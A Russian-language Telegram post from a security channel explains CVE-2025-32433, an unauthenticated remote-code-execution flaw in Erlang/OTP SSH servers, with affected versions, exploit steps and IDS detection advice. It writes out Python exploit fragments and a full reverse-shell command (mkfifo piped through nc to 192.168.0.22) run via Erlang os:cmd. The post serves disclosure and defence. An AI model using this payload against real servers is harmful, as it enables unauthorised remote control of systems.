TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #66 2.07K
Десятибалльная уязвимость CVE-2025-32433 👾

CVE-2025-32433 — Remote Code Execution-уязвимость в SSH-серверах на базе Erlang/OTP, которая позволяет получить несанкционированный доступ к уязвимым системам и выполнять произвольные команды без аутентификации.

Метрики
Base Score: 10.0 CRITICAL
CWE-306


Уязвимы версии

<= OTP-27.3.2
<= OTP-26.2.5.10
<= OTP-25.3.2.19


Как происходит атака

По стандарту канал для выполнения команд SSH-клиентом открывается после прохождения аутентификации, в противном случае сообщение будет отвергнуто или приведет к разрыву соединения.

Но уязвимые версии Erlang/OTP могут не проверять стадию аутентификации и обрабатывать CHANNEL_OPEN и exec сразу. Это приводит к тому, что для выполнения команд на сервере злоумышленникам достаточно иметь сетевой доступ к нему.

Из чего состоит эксплоит

Эксплоит может состоять из четырёх клиентских SSH-пакетов после установления TCP-соединения.

1️⃣ Обмен баннерами. Клиент отправляет строку, сервер отвечает своей:
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)


2️⃣ Инициализация обмена ключами:
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))


3️⃣ Отправка SSH-пакета типа SSH_MSG_CHANNEL_OPEN с «просьбой» открыть канал, как будто клиент уже прошел аутентификацию:
chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))


4️⃣ Запрос на выполнение команды:
chan_req = build_channel_request(
command='file:write_file("/lab.sh", <<"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.0.22 8080 >/tmp/f">>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").'
)
s.sendall(pad_packet(chan_req))


Пример выполнения CVE-2025-32433


Для примера отправим пакет, содержащий команду создания и выполнения Reverse Shell-кода, для получения контроля над уязвимым сервером:
file:write_file("/lab.sh", <<COMAND>>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").


file:write_file("/lab.sh,<<COMAND>>)
— создаст sh-скрипт c необходимой командой;

os:cmd("chmod +x /lab.sh") — предоставит права на выполнение;

os:cmd("/lab.sh") — запустит Reverse Shell.

Как детектировать и защититься


Важно следить, что сообщения типов MSG_CHANNEL_OPEN и MSG_CHANNEL_REQUEST не передаются в открытом виде в сетевом трафике. Согласно RFC 4253 и 4254, обмен такими сообщениями осуществляется после обмена ключами и аутентификации в зашифрованном виде.

Для написания IDS-сигнатур можно обратить внимание на структуру таких сообщений:
      byte      SSH_MSG_CHANNEL_OPEN # значение 0x5a
string "session"
uint32 sender channel
uint32 initial window size
uint32 maximum packet size

      byte      SSH_MSG_CHANNEL_REQUEST # значение 0x62
uint32 recipient channel
string "exec"
boolean want reply
string command

Содержимое полей string может меняться в зависимости от типа, а приведенные выше session и exec соответствуют запросам на открытие канала и выполнение команды. Появление в сетевом трафике SSH в открытом виде таких сообщений может свидетельствовать о попытках эксплуатации уязвимости.

❗️ Настоятельно советуем обновиться до последних версий, а до этого ограничить доступ к SSH.
  • 🔥 15
  • 🫡 7
  • ⚡ 3
  • ❤ 2
  • 🌚 1
More from @four_rays
  1. Sep 23, 2026💣 Click2Shell Click2Shell — это цепочка уязвимостей в WordPress, которая может привести к…
  2. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  3. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  4. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  5. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  6. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →